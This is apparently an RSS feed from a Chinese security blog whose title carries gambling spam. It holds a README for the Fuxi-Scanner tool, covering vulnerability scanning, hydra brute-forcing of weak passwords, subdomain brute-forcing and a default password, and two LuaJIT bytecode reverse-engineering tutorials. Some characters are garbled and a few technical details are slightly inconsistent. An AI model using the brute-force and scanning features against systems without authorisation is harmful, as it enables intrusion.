金六福六合心水论坛:InfoSecLab - 港妹免费六合图库▁九龙六合图库2013▁管家婆六合心水论坛▁六合图库 护民▁万家福六合心水论坛 //www.wpr29.cn Information Security Laboratory-信息安全实验室 Fri, 29 Jun 2018 14:33:01 +0000 zh-CN hourly 1 https://wordpress.org/?v=4.9.9 Fuxi-Scanner-伏羲安全扫描工具 - 港妹免费六合图库▁九龙六合图库2013▁管家婆六合心水论坛▁六合图库 护民▁万家福六合心水论坛 //www.wpr29.cn/2855.html //www.wpr29.cn/2855.html#respond Fri, 29 Jun 2018 14:25:40 +0000 //www.wpr29.cn/?p=2855  伏羲是一款开源的网络安全检测工具,适用于中小型企业对企业信息系统进行安全巡航检测

本系统通过??榛峁┒嘀职踩δ?/p>

1.基于插件的漏洞扫描功能

2.持续化漏洞管理

3.多种协议的弱口令检测

4.企业子域名收集

5.企业 IT 资产管理及服务发现

6.端口扫描

7.AWVS(Acunetix Web Vulnerability Scanner) 接口调用

其他功能敬请期待...

截图

1530281364513733.png

快速开始

git clone --depth 1 https://github.com/jeffzh3ng/Fuxi-Scanner.git fuxi-scannercd fuxi-scanner
docker build -t jeffzh3ng/fuxi-scanner .

或者

docker pull jeffzh3ng/fuxi-scanner

启动

docker run -dit -p 5000:5000 -v /opt/data:/data jeffzh3ng/fuxi-scanner:latest

等待10s,浏览器打开 //127.0.0.1:5000,检查fuxi是否开始工作

password: whoami

安装

安装手册

使用

漏洞扫描功能

该??橹饕杓瞥踔允俏硕曰チ卤⒌陌踩┒唇锌焖傧煊胺缦张挪?,以及对已发现的漏洞修复情况进行追踪,该??榭梢院妥什穹⑾帜?榻岷鲜褂?,进行快速应急响应

该??橥ü饔弥来从羁瓷杵?Pocsuite 进行扫描,具备编码能力的可以根据模版快速开发插件,不具备插件编写能力的可以通过SeeBug 社区获取

本项目不提供漏洞插件,互联网上有项目提供了很多的 Pocsuite 插件,可以在Github上进行搜索,建议不要执着于插件数量,不要当成漏扫使用哦

扫描任务周期可以选择单次、每日、周及每月,扫描对象可以是单个 IP、网段或者 Url

1530281571523254.png

扫描插件通过插件??橹行略霾寮猩洗?,插件必须符合 PoC 编写规范及要求说明

fuxi_poc_plugin_management.png

资产管理功能

该??榫弑缸什芾?,资产服务发现功能

企业安全人员可以根据信息系统对IT资产进行划分,创建不同的资产库,通过资产库可以灵活的创建扫描漏洞任务

1530281694293614.png

资产服务发现??橥ü饔?span class="Apple-converted-space" style="font-family: Arial;"> 

Nmap
 对资产库主机进行端口扫描,并将结果入库,企业安全人员可以通过关键字搜索功能筛选出符合条件的服务添加到漏洞扫描任务中

1530281747235233.png

 

搜索使用右上角搜索框,不要使用服务列表中的筛选功能

认证安全检测

后端调用hydra进行扫描,目前支持55种常见协议:

Asterisk, AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-POST, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTPS-POST, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, RDP, Rexec, Rlogin, Rsh, RTSP, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP v1+v2+v3, SOCKS5, SSH (v1 and v2), SSHKEY, Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP.

扫描任务周期可以选择单次、每日、周及每月,扫描对象可以是单个 IP、网段或者 Url

 1530282679442231.png

该功能采用??榛绞绞迪?,具备开发能力可以自由添加其他协议破解插件,具体实现会在 WiKi 进行公布

子域名收集???/h3>

通过基于字典的暴力猜解方式收集企业子域名,可以在系统高级设置配置字典,项目tests文件夹下提供了一份域名字典

1530282001967631.png

1530282128786074.png

Acunetix Scanner 接口调用

AWVS 11 不能同时添加多个 URL 地址,该??橥ü饔?AWVS 接口进行批量扫描,需在instance/config.py配置AWVS接口地址及Key

1530282172848482.png

目前支持任务删除,报告批量下载功能

端口扫描

一个端口扫描的辅助功能,用于临时的端口探测,存货主机发现,等等

1530282208269429.png

系统设置

各??樯柘叱淌?,子域名字典配置,端口配置

1530282238220378.png

相关链接

项目主页: https://fuxi-scanner.com

下载: .tar or .zip

邮箱: jeffzh3ng@gmail.com

Telegram: jeffzhang

下载地址:https://github.com/jeffzh3ng/Fuxi-Scanner

原文:https://github.com/jeffzh3ng/Fuxi-Scanner/blob/master/doc/README.zh.md

 

]]>
//www.wpr29.cn/2855.html/feed 0
Lua程序逆向之Luajit字节码与反汇编 - 港妹免费六合图库▁九龙六合图库2013▁管家婆六合心水论坛▁六合图库 护民▁万家福六合心水论坛 //www.wpr29.cn/2845.html //www.wpr29.cn/2845.html#respond Thu, 28 Dec 2017 07:46:20 +0000 //www.wpr29.cn/?p=2845 作者:非虫

Luajit的字节码设计与指令的反汇编有很多值得学习的地方。Luajit除了将Lua原生40条左右的指令扩展到了93条(Luajit版本2.0.5)外,还更改了字节码中Opcode与操作数的排列方式,可以说,Luajit使用了一种完全全新的方式来编译与执行Lua程序。经过处理后的Luajit程序,字节码的编码实现更加简单,执行效率也比原生Luac指令更加高效。

指令格式分析

Luajit很多情况下需要与系统底层打交道,为了方便开发人员扩展与使用Luajit,在指令的设计细节上,Luajit官方提供了一份完整的指令参考文档。地址是://wiki.luajit.org/Bytecode-2.0。文档中详细说明了指令的编码格式与各条指令的含义。

首先是指令的编码,Luajit指令同样采用等长的32位,指令分为Opcode与操作数域两个部分,则每个域占用8字节,如下所示:

/* Bytecode instruction format, 32 bit wide, fields of 8 or 16 bit:
**
** +----+----+----+----+
** | B  | C  | A  | OP | Format ABC
** +----+----+----+----+
** |    D    | A  | OP | Format AD
** +--------------------
** MSB               LSB
**
** In-memory instructions are always stored in host byte order.
*/

这样做的好处显而易见,在处理32位指令数据时,对于每次只能处理8位的处理器来说,这种对齐后的优化,会减少处理器取指令时的运算周期,提高了指令的执行效率。Luajit只支持ABC与AD两种指令编码形式,其中,A、B、C各占8位,D占用16位。在编写解码程序时,代码部分比起Luac会简单许多。

Luajit OpCode

根据定义规则,每条指令最多拥有3个操作数,最少拥有1个操作数。指令的定义可以在Luajit源码的lj_bc.h头文件中找到。指令的声明部分采用宏定义,片断如下:

#define BCDEF(_) \
  /* Comparison ops. ORDER OPR. */ \
  _(ISLT,	var,	___,	var,	lt) \
  _(ISGE,	var,	___,	var,	lt) \
  _(ISLE,	var,	___,	var,	le) \
  _(ISGT,	var,	___,	var,	le) \
  ......
    _(FUNCF,	rbase,	___,	___,	___) \
  _(IFUNCF,	rbase,	___,	___,	___) \
  _(JFUNCF,	rbase,	___,	lit,	___) \
  _(FUNCV,	rbase,	___,	___,	___) \
  _(IFUNCV,	rbase,	___,	___,	___) \
  _(JFUNCV,	rbase,	___,	lit,	___) \
  _(FUNCC,	rbase,	___,	___,	___) \
  _(FUNCCW,	rbase,	___,	___,	___)

/* Bytecode opcode numbers. */
typedef enum {
#define BCENUM(name, ma, mb, mc, mt)	BC_##name,
BCDEF(BCENUM)
#undef BCENUM
  BC__MAX
} BCOp;

所有的指令都使用BCOp表示,BCDEF(BCENUM)经过宏展开后,会声明每一条LuaJit指令。从声明中可以看出,指令由以下五部分组成:

  1. name。指令的名称,展开后指令名如BC_ISLT、BC_ADDVV。

  2. ma。指令第一个操作数域,展开后是一个BCMode类型常量。

  3. mb。指令第二个操作数域,展开后是一个BCMode类型常量。

  4. mc。指令第三个操作数域,展开后是一个BCMode类型常量。

  5. mt。指令的类型,展开后是一个一个MMS类型常量。

宏声明中的“___”展开后是BCM___,它被定义为BCMnone,即这个域为空,它是BCMode的一部分,稍后再讲。

指令列表中,有些指令有添加上一个或多个字符的后缀,来标识指令操作数的类型。它们的取值包括:

  • V variable slot。变量槽。

  • S string constant。字符串常量。

  • N number constant。数值常量。

  • P primitive type。原始类型。

  • B unsigned byte literal。无符号字节字面量。

  • M multiple arguments/results。多参数与返回值。

除了后缀外,部分指令还会有一些约定俗成的前缀,用来标识指令操作的目标数据的类型。例如:

  • T table。表。

  • F function。函数。

  • U UpValue。上值。

  • K constant。常量。

  • G global。全局。

例如,指令USETS是为一个UpValue设置字符串值;指令TGETV是获取一个表结构中指定索引的数据。

BCMode

ma、mb、mc展开后是一个BCMode类型常量。它们的定义如下:

typedef enum {
    BCMnone=0, 
    BCMdst, 
    BCMbase, 
    BCMvar, 
    BCMrbase, 
    BCMuv,
    BCMlit, 
    BCMlits, 
    BCMpri, 
    BCMnum, 
    BCMstr, 
    BCMtab, 
    BCMfunc, 
    BCMjump, 
    BCMcdata,
    BCM_max
} BCMode;

当这3个标志的值都不为BCMnone时,表示当前指令使用三个操作数,例如ADDVV指令声明如下:

_(ADDVV,	dst,	var,	var,	add)

展开后,变成了:

BC_ADDVV,	BCMdst,	BCMvar,	BCMvar,	MM_add

即3个操作数都有用到,对于指令0xbbccaa1e,解析它可得知,最低8位0x1e表示为ADDVV指令,并且操作数A = 0xaa,B = 0xbb,C = 0xcc。

对于少于3个操作数的情况,即ma、mb、mc中有1个或2个被设置成BCMnone,这种情况即为AD模式,如果只有一个操作数,则取A部分即可,如果有两个操作数,则取指令高16位为CD作为指令的第二个操作数。如指令0x10047,0x47表示它为RET0指令,它的指令声明如下:

_(RET0,	rbase,	___,	lit,	___)

可见,其mb为BCMnone,,表示第二个操作数不占位,即第三个操作数可以与第二合并为CD。此时,第一个参数值A取值为0,第(二/三)个参数CD取值为1,即解析后的指令格式为“RET0 0 1”。

MMS

MMS为指令的类型,它在Luajit源码的lj_obj.h头文件中通过宏定义为如下:

#define MMDEF(_) \
  _(index) _(newindex) _(gc) _(mode) _(eq) _(len) \
  /* Only the above (fast) metamethods are negative cached (max. 8). */ \
  _(lt) _(le) _(concat) _(call) \
  /* The following must be in ORDER ARITH. */ \
  _(add) _(sub) _(mul) _(div) _(mod) _(pow) _(unm) \
  /* The following are used in the standard libraries. */ \
  _(metatable) _(tostring) MMDEF_FFI(_) MMDEF_PAIRS(_)

typedef enum {
#define MMENUM(name)	MM_##name,
MMDEF(MMENUM)
#undef MMENUM
  MM__MAX,
  MM____ = MM__MAX,
  MM_FAST = MM_len
} MMS;

展开后,定义如下:

typedef enum<uchar> {
    MM_index=0, MM_newindex, MM_gc, MM_mode, MM_eq, MM_len, 
    MM_lt, MM_le, MM_concat, MM_call, 
    MM_add, MM_sub, MM_mul, MM_div, MM_mod, MM_pow, MM_unm, 
    MM_metatable, MM_tostring, MM_new, MM_pairs, MM_ipairs,

    MM__MAX,
    MM____ = MM__MAX,
    MM_FAST = MM_len
 } MMS;

它们的主要作用是将指令归类,辅助Luajit内部执行与调试时使用,对于指令的格式并没有影响,这里不再展开。

lj_bc_mode

Luajit将所有的指令模式BCMode与MMS组合,生成了一张表,它就是lj_bc_mode。这张表与Luac中的luaP_opmodes一样,主要用于辅助指令的解析工作。lj_bc_mode的定义是通过builddvm_lib.c中的emit_lib()函数执行宏展开的,当ctx->mode被定义为BUILD_bcdef时,会执行如下片断代码:

int i;
fprintf(ctx->fp, "\n};\n\n");
fprintf(ctx->fp, "LJ_DATADEF const uint16_t lj_bc_mode[] = {\n");
fprintf(ctx->fp, "BCDEF(BCMODE)\n");
for (i = ffasmfunc-1; i > 0; i--)
  fprintf(ctx->fp, "BCMODE_FF,\n");
fprintf(ctx->fp, "BCMODE_FF\n};\n\n");

整个核心的开展由BCDEF(BCMODE)完成。展开后的代码片断如下:

const uint16_t lj_bc_mode[] = {(BCMvar|(BCMnone<<3)|(BCMvar<<7)|(MM_lt<<11)), (BCMvar|(BCMnone<<3)|(BCMvar<<7)|(MM_lt<<11)), (BCMvar|(BCMnone<<3)|(BCMvar<<7)|(MM_le<<11)), (BCMvar|(BCMnone<<3)|
......

这是一个被定义为每项大小为uint16_t类型,个数为93的数组??梢允止さ募扑闼巧傻闹?。以ADDVV为例,计算如下:

_(ADDVV,	dst,	var,	var,	add) \

BCMdst    BCMvar      BCMvar       add
(0x1) | (0x3 << 3) | (0x3 << 7) | (0xA << 11)
>>> Result = 20889 [5199h]

当然,也可以使用代码将它们的值打印出来,如下所示:

size_t sz = sizeof(lj_bc_mode) / sizeof(uint16_t);
for (size_t i=0; i<sz; i++) {
    std::cout << "idx:" << std::dec << i << ": 0x" 
              << std::hex << lj_bc_mode[i] 
              << std::endl;
}

输出如下

idx:0: 0x3183
idx:1: 0x3183
idx:2: 0x3983
idx:3: 0x3983
idx:4: 0x2183
idx:5: 0x2183
idx:6: 0x2503
......
idx:88: 0xb004
idx:89: 0xb004
idx:90: 0xb304
idx:91: 0xb004
idx:92: 0xb004

可以看到,与它们的格式相关,输出的效果与Luac中的luaP_opmodes一样,会有很多的项的值是相同的。

反汇编引擎实现

Luajit的安装目录下的share/luajit-2.0.5/jit目录中的bc.lua文件为Luajit提供的反汇编???,可以使用它来完成Luajit字节码文件的反汇编工作。执行如下命令,可以查看hello.lua的指令信息:

$ luajit -jbc ./hello.lua
-- BYTECODE -- hello.lua:2-4
0001    ADDVV    2   0   1
0002    RET1     2   2

-- BYTECODE -- hello.lua:5-7
0001    GGET     0   0      ; "print"
0002    KSTR     1   1      ; "welcome to lua world "
0003    CALL     0   1   2
0004    RET0     0   1

-- BYTECODE -- hello.lua:9-11
0001    GGET     1   0      ; "print"
0002    KSTR     2   1      ; "The string you input is "
0003    MOV      3   0
0004    CAT      2   2   3
0005    CALL     1   1   2
0006    RET0     0   1

-- BYTECODE -- hello.lua:0-14
0001    FNEW     0   0      ; hello.lua:2
0002    GSET     0   1      ; "add"
0003    FNEW     0   2      ; hello.lua:5
0004    GSET     0   3      ; "showinfo"
0005    FNEW     0   4      ; hello.lua:9
0006    GSET     0   5      ; "showstr"
0007    KSHORT   0   6
0008    KSHORT   1   1
0009    UCLO     0 => 0010
0010 => RET1     1   2

当然,也可以使用它直接反汇编Lua代码生成指令信息,如下所示:

$ luajit -jbc -e 'local x=0; for i=1,1e6 do x=x+i end; print(x)'
-- BYTECODE -- (command line):0-1
0001    KSHORT   0   0
0002    KSHORT   1   1
0003    KNUM     2   0      ; 1000000
0004    KSHORT   3   1
0005    FORI     1 => 0008
0006 => ADDVV    0   0   4
0007    FORL     1 => 0006
0008 => GGET     1   0      ; "print"
0009    MOV      2   0
0010    CALL     1   1   2
0011    RET0     0   1

如果要查看已经生成的hello.luajit的指令信息,可以使用Luajit的-bl参数,执行如下命令,与上面luajit -jbc的输出是一样的:

$ luajit -bl ./hello.lua

bc.lua中提供了bcline()反汇编引擎来实现指令的反汇编,它基于lj_bc_mode返回的指令BCMode来生成ma、mb与mc,但没有经过移位处理,如果没Luajit的指令格式不太熟悉,可能不能马上理解它的含义。当然,编写指令解析时,也可以直接本地定义一份指令Opcode与模式之前的表,解析时不需要用到lj_bc_mode,并且解析速度更快,反汇编工具ljd就是这么干的。下面,我们为010 Editor编写反汇编引擎时,由于模板语法的限制,最终选择了结合它们两种的处理方法。

编写基本的Luajit.bt功能之前已经实现,这里主要集中在反汇编引擎InstructionRead()的实现上,由于指令中需要用到当前指令地址pc以及指令中访问同级常量表中的信息,因此,对Luajit.bt进行了之前Luac.bt一样的重构,将当前Proto中所有的指令Instruction封装成Instructions,然后内联声明到Proto中,如下所示:

typedef struct {
    ProtoHeader header;

    typedef struct(int inst_count) {
        local int pc = 1;
        local int inst_count_ = inst_count;
        while (inst_count_-- > 0) {
            Instruction inst(pc);
            pc++;
        }
    } Instructions;

    if (uleb128_value(header.size) > 0) {
        if (uleb128_value(header.instructions_count) > 0)
            local int inst_count = uleb128_value(header.instructions_count);
            Instructions insts(inst_count);
        if ((header.upvalues_count == 0) && (uleb128_value(header.complex_constants_count) == 0) && (uleb128_value(header.numeric_constants_count) == 0)) {
        } else {
            Constants constants(header.upvalues_count, uleb128_value(header.complex_constants_count), uleb128_value(header.numeric_constants_count));
        }
            
        if (header.debuginfo_size_ > 0)
            DebugInfo debuginfo(uleb128_value(header.first_line_number), uleb128_value(header.lines_count), uleb128_value(header.instructions_count), header.debuginfo_size_, header.upvalues_count);

        local int64 end = FTell();
        if (uleb128_value(header.size) != end - header.start) {
            Warning("Incorrectly read: from 0x%lx to 0x%lx (0x%lx) instead of 0x%lx\n", header.start, end, end - header.start, uleb128_value(header.size));
        }
    }
} Proto <optimize=false>;

这样做之后,可以通过parentof(parentof(inst))访问到指令所在的Proto信息,进行获取Proto中其他字段的信息。

反汇编引擎的实现分为以下几步:

  1. 获取指令BCOp,解析不同的指令。

  2. 解析与处理指令的参数,这里通过BCMode来完成。

  3. 字符串与跳转处理。达到更好的反汇编输出效果。

  4. 输出指令BCOp与操作数,完成指令反汇编引擎。

指令BCOp解析

解析指令的BCOp很简单,只需要取指令的最低8位即可,获取指令BCOp只需要如下一行代码:

local INSTRUCTION_OPCODES op = (INSTRUCTION_OPCODES)codeword & 0xff;

这里的INSTRUCTION_OPCODES为声先声明好的指令枚举类型?;袢≈噶頑COp后,需要处理指令的参数。010 Editor模板不支持定义的本地数组结构直接赋值,因此,只能声明一个数组后,一行行的赋值,比较尴尬,代码片断如下:

local uint16 modes[93];

void init_modes() {
    modes[0] = 0x3183;
    modes[1] = 0x3183;
    modes[2] = 0x3983;
    ......
    modes[91] = 0xb004;
    modes[92] = 0xb004;
}

init_modes()需要在模板最外层,Luajit lj;声明前调用一次。然后在代码中就可以访问每一条指令对应的Mode了,编写代码如下:

uint16 get_mode(INSTRUCTION_OPCODES op) {
    return modes[op];
}

BCMode get_mode_a(INSTRUCTION_OPCODES op) {
    return get_mode(op) & 7;
}

BCMode get_mode_b(INSTRUCTION_OPCODES op) {
    return (get_mode(op) >> 3) & 15;
}

BCMode get_mode_c(INSTRUCTION_OPCODES op) {
    return (get_mode(op) >> 7) & 15;
}

参数处理

参数的处理不难,根据前面分析的规则,通过ma、mb、mc的值即可完成。首先,需要判断参数的个数是否为3个,然后,通过它来确定是ABC还是AD模式,代码如下:

int get_args_count(INSTRUCTION_OPCODES op) {
    local int count = 0;
    local BCMode ma = get_mode_a(op);
    local BCMode mb = get_mode_b(op);
    local BCMode mc = get_mode_c(op);
    if (ma != BCMnone)
        count++;
    if (mb != BCMnone)
        count++;
    if (mc != BCMnone)
        count++;
    return count;
}

获取参数个数后,就可以设置A、B、CD的值了。代码片断如下:

local int args_count = get_args_count(op);
local int A=0, B=0, CD=0;
if (args_count == 3) {
    A = (codeword >> 8) & 0xFF;
    CD = (codeword >> 16) & 0xFF;
    B = (codeword >> 24) & 0xFF;
} else {
    A = (codeword >> 8) & 0xFF;
    CD = (codeword >> 16) & 0xFFFF;
}

字符串与跳转处理

获取了A、B、CD的值后,并不能直接输出反汇编,因为,针对不同类型的指令操作数,它的取值可能需要进行处理。例如对于BCMstr、BCMtab、BCMfunc、BCMcdata类型的操作数,它表示的是一个ComplexConstant的索引值,需要到指令所在的Proto的ComplexConstant中取数据,而且取数据的索引值与需要从ComplexConstant表相反的方向进行获取,即如下的代码所示:

local int idx = complex_constants_count - operand - 1;

还有,针对BCMjump类型的操作数,它跳转的地址计算方法是当前操作数的值加上当前指令pc减去0xFFFF。

终上所述,可以写出指令操作数处理函数process_operand(),代码如下:

string process_operand(Instruction &inst, int complex_constants_count, BCMode operand_type, int operand, int pc) {
    local string str;
    if ((operand_type == BCMstr) || 
            (operand_type == BCMtab) || 
            (operand_type == BCMfunc) || 
            (operand_type == BCMcdata)) {
        local int idx = complex_constants_count - operand - 1;
        SPrintf(str, "%d  ;  %s", idx, get_data_from_constants(inst, idx));
    } else if (operand_type == BCMjump) {
        SPrintf(str, "==> %04d", operand + pc - 0x7FFF);
    } else {
        SPrintf(str, "%d", operand);
    }
        return str;
}

get_data_from_constants()的代码如下:

string get_data_from_constants(Instruction &inst, int idx) {
    local string str = ComplexConstantRead(parentof(parentof(inst)).constants.constant[idx]);
    if (str == "BCDUMP_KGC_CHILD")
        return "0";
    else
        return str;
}

complex_constants_count与inst一起作为参数传递,而不是在process_operand()中计算获取,是因为该方法会被多次调用,这样做可以提高代码执行效率。

完成指令反汇编引擎

最终,完成指令的反汇编引擎代码如下:

string InstructionRead(Instruction &inst) {
    local uint32 codeword = inst.inst;
    local INSTRUCTION_OPCODES op = (INSTRUCTION_OPCODES)codeword & 0xff;
    local uint16 mode = get_mode(op);
    local BCMode ma = get_mode_a(op);
    local BCMode mb = get_mode_b(op);
    local BCMode mc = get_mode_c(op);
    local int args_count = get_args_count(op);

    local int A=0, B=0, CD=0;
    if (args_count == 3) {
        A = (codeword >> 8) & 0xFF;
        CD = (codeword >> 16) & 0xFF;
        B = (codeword >> 24) & 0xFF;
    } else {
        A = (codeword >> 8) & 0xFF;
        CD = (codeword >> 16) & 0xFFFF;
    }

    local int complex_constants_count = uleb128_value(parentof(parentof(inst)).header.complex_constants_count);
    local string tmp;
    SPrintf(tmp, "%04d    ", inst.pc_);
    local string line = tmp + EnumToString(op);
    if (ma != BCMnone) {
        SPrintf(tmp, "%s", process_operand(inst, complex_constants_count, ma, A, inst.pc_));
        line += " " + tmp;
    }
    if (mb != BCMnone) {
        SPrintf(tmp, "%s", process_operand(inst, complex_constants_count, mb, B, inst.pc_));
        line += " " + tmp;
    }
    if (mc != BCMnone) {
        SPrintf(tmp, "%s", process_operand(inst, complex_constants_count, mc, CD, inst.pc_));
        line += " " + tmp;
    }

    return line;
}

使用010 Editor打开hello.luajit,并加载编写好的模板,效果如图所示: 

luajit_dis.jpg

完整的luajit.bt文件可以在这里找到:https://github.com/feicong/lua_re

原文:https://github.com/feicong/lua_re/blob/master/lua/lua_re4.md

]]>
//www.wpr29.cn/2845.html/feed 0
Lua程序逆向之Luajit文件格式 - 港妹免费六合图库▁九龙六合图库2013▁管家婆六合心水论坛▁六合图库 护民▁万家福六合心水论坛 //www.wpr29.cn/2842.html //www.wpr29.cn/2842.html#respond Thu, 28 Dec 2017 07:34:09 +0000 //www.wpr29.cn/?p=2842 作者:非虫

Luajit将原生Lua进行了扩展,使它支持JIT方式编译运行,比起原生Lua程序,它有着如下特点:

  1. JIT即时编译器让执行效率更高。

  2. 它同时兼容传统的AOT编译。

  3. 全新设计的Luajit字节码文件格式,更加高效与更强的调试支持。(这一点在后面会着重介绍)

  4. 全新的Lua指令集。引入了中间表示IR,以及编译引擎支持不同平台的处理器指令即时编译,完全的符合现代化编译器设计,是编译理论学习的绝佳好资料。

Luajit在游戏软件中应用广泛,学习Lua程序逆向,就避免不了与Luajit打交道,下面,我们以最基本的Luajit文件格式开始,逐步深入的学习Lua程序的逆向基本知识。

安装Luajit

Luajit是开源的,它的项目地址是:https://github.com/LuaDist/luajit。任何人都可以从网络上下载编译并安装它。

目前,最新正式版本的Luajit为2.0.5版,Beta版本为2.1.0-beta3版,官方还在缓慢的更新中。正式版本的Luajit只只兼容Lua的5.1版本,5.2版本的Lua正在添加支持中。这里重点讨论Luajit2.0.5正式版本。

笔者研究Luajit使用的操作系统是macOS,通过Homebrew软件包管理工具,可以执行如下的命令进行快速的安装:

$ brew install luajit

安装完成后,它的目录结构如下所示:

$ tree /usr/local/opt/luajit
/usr/local/opt/luajit
├── COPYRIGHT
├── INSTALL_RECEIPT.json
├── README
├── bin
│   ├── luajit -> luajit-2.0.5
│   └── luajit-2.0.5
├── include
│   └── luajit-2.0
│       ├── lauxlib.h
│       ├── lua.h
│       ├── lua.hpp
│       ├── luaconf.h
│       ├── luajit.h
│       └── lualib.h
├── lib
│   ├── libluajit-5.1.2.0.5.dylib
│   ├── libluajit-5.1.2.dylib -> libluajit-5.1.2.0.5.dylib
│   ├── libluajit-5.1.a
│   ├── libluajit-5.1.dylib -> libluajit-5.1.2.0.5.dylib
│   ├── libluajit.a -> libluajit-5.1.a
│   ├── libluajit.dylib -> libluajit-5.1.dylib
│   └── pkgconfig
│       └── luajit.pc
└── share
    ├── luajit-2.0.5
    │   └── jit
    │       ├── bc.lua
    │       ├── bcsave.lua
    │       ├── dis_arm.lua
    │       ├── dis_mips.lua
    │       ├── dis_mipsel.lua
    │       ├── dis_ppc.lua
    │       ├── dis_x64.lua
    │       ├── dis_x86.lua
    │       ├── dump.lua
    │       ├── v.lua
    │       └── vmdef.lua
    └── man
        └── man1
            └── luajit.1

10 directories, 30 files

安装目录下的luajit程序是指向luajit-2.0.5程序的软链接,它是Luajit的主程序,与Lua官方的lua程序一样,它是Luajit程序的解释器,不同的是,它没有与luac编译器对应的Luajitc,Luajit同时负责了Lua文件编译为Luajit字节码文件的编译工作。include目录下存放的是Luajit的头文件,可以编译C/C++程序与Luajit进行交互。lib目录为链接C/C++程序用到的库文件。share/luajit-2.0.5/jit目录下的lua文件是Luajit提供的扩展???,可以用来反汇编与Dump输出Luajit字节码文件的指令信息,在学习Luajit字节码指令格式时,这些工具非常有用。man目录下提供了Luajit的man帮助信息,即终端中执行man luajit显示的帮助内容。

编译生成Luajit文件

编写hello.lua文件,内容如下:

function add(x, y)
	return x+y;
end
function showinfo()
	print("welcome to lua world ")
end

function showstr(str)
	print("The string you input is " .. str)
end

local i = 6;
return 1;

这段代码包含了三个函数、一个局部变量,一条返回语句。使用

luajit
的-b参数即可生成hello.luajit文件,命令如下所示:

$ luajit -b ./hello.lua ./hello.luajit

上面命令生成的hello.luajit文件不包含调试信息,luajit默认编译参数中有一个-s参数,作用是去除luajit文件中的调试信息。调度信息中,包含了原Lua源文件中的行号与变量本等信息,如果想要保留这些信息,可以加上-g参数。执行如下命令,可以生成带调试信息的hello_debug.luajit文件:

$ luajit -bg ./hello.lua ./hello_debug.luajit

Luajit文件格式

Luajit官方并没有直接给出Luajit字节码文件的格式文档。但可以通过阅读Luajit源码中加载与生成Luajit字节码文件的函数,来单步跟踪分析出它的文件格式,这两个方法分别是lj_bcread()与lj_bcwrite()。

从这两个函数调用的bcread_header()、bcread_proto()、bcwrite_header()、bcwrite_proto()等子函数名可以初步了解到,Luajit字节码文件与Luac一样,将文件格式分为头部分信息Header与函数信息Proto两部分。具体的内容细节则需要使用gdb或lldb等工具调试分析得出。

Luajit字节码文件的Header部分为了与Luac命名上保持一致,这里将其描述为GlobalHeader,它的定义如下:

typedef struct {
    char signature[3];
    uchar version;
    GlobalHeaderFlags flags;
    if (!is_stripped) {
        uleb128 length;
        char chunkname[uleb128_value(length)];
    }
} GlobalHeader;

第一个signature字段是Luajit文件的Magic Number,它占用三个字节,定义分别如下:

/* Bytecode dump header. */
#define BCDUMP_HEAD1		0x1b
#define BCDUMP_HEAD2		0x4c
#define BCDUMP_HEAD3		0x4a

即Luajit字节码文件的头三个字节必须为“\x1bLJ”。version字段为Luajit的版本号,目前它的值为1。第三个字段flags描述了该文件的一组标志位集合,它们的取值可以为这些值的组合:

typedef enum {
    FLAG_IS_BIG_ENDIAN = 0b00000001,
    FLAG_IS_STRIPPED = 0b00000010,
    FLAG_HAS_FFI = 0b00000100
} FLAG;

FLAG_IS_BIG_ENDIAN标识了该Luajit文件是采用大端字节序还是小端字节序、FLAG_IS_STRIPPED标识该Luajit文件是否去除了调试信息、FLAG_HAS_FFI标识是否包含FFI信息。flags字段使用的数据类型为uleb128,占用的字节码与数据的实际大小相关。

uleb128是一种常见的压缩形式的数据存储方式,如果了解Android DEX文件格式的话,对它应该不会陌生。它最长采用5个字节表示数据的大小,最少采用1个字节表示数据的大小,具体采用的位数,可以通过判断每字节的最高位是否为1,为1则使用下一字节的数据,如果使用010 Editor模板语法表示,则它的数据类型定义如下:

typedef struct {
    ubyte val <comment="uleb128 element">;
    if(val > 0x7f) {
        ubyte val <comment="uleb128 element">;
        if (val > 0x7f) {
            ubyte val <comment="uleb128 element">;
            if(val > 0x7f) {
                ubyte val <comment="uleb128 element">;
                if(val > 0x7f) {
                    ubyte val <comment="uleb128 element">;
                }
            }
        }
    }
} uleb128;

读取uleb128表示的数据大小的方法如下:

uint uleb128_value(uleb128 &u) {
    local uint result;
    local ubyte cur;

    result = u.val[0];
    if(result > 0x7f) {
        cur = u.val[1];
        result = (result & 0x7f) | (uint)((cur & 0x7f) << 7);
        if(cur > 0x7f) {
            cur = u.val[2];
            result |= (uint)(cur & 0x7f) << 14;
            if(cur > 0x7f) {
                cur = u.val[3];
                result |= (uint)(cur & 0x7f) << 21;
                if(cur > 0x7f) {
                    cur = u.val[4];
                    result |= (uint)cur << 28;
                }
            }
        }
    }

    return result;
}

接下来GlobalHeader中,如果判断Luajit文件中包含调试信息,即flags字段中的FLAG_IS_STRIPPED没有被置位,则会多出length与chunkname两个字段。length是uleb128表示的字段串长度,chunkname则是存放了length长度的字段串内容,它表示当前Luajit文件的源文件名。

在GlobalHeader之后,是Proto函数体内容。它的定义如下:

typedef struct() {
    ProtoHeader header;
    if (uleb128_value(header.size) > 0) {
        if (uleb128_value(header.instructions_count) > 0)
            Instruction inst[uleb128_value(header.instructions_count)];
        Constants constants;
        if (header.debuginfo_size_ > 0)
            DebugInfo debuginfo;
    }
} Proto;

这里Proto的定义仍然采用与上面GlobalHeader一样的010 Editor模板语法方式,这种类似C语言的描述,更容易从定义上看出Proto结构体的字段信息。

ProtoHeader类型的header字段描述了Proto的头部信息,定义如下:

typedef struct {
    uleb128 size;
    if (uleb128_value(size) > 0) {
        ProtoFlags flags;
        uchar arguments_count;
        uchar framesize;
        uchar upvalues_count;
        uleb128 complex_constants_count;
        uleb128 numeric_constants_count;
        uleb128 instructions_count;
        if (!is_stripped) {
            uleb128 debuginfo_size;
            uleb128 first_line_number;
            uleb128 lines_count;
        }
    }
} ProtoHeader;

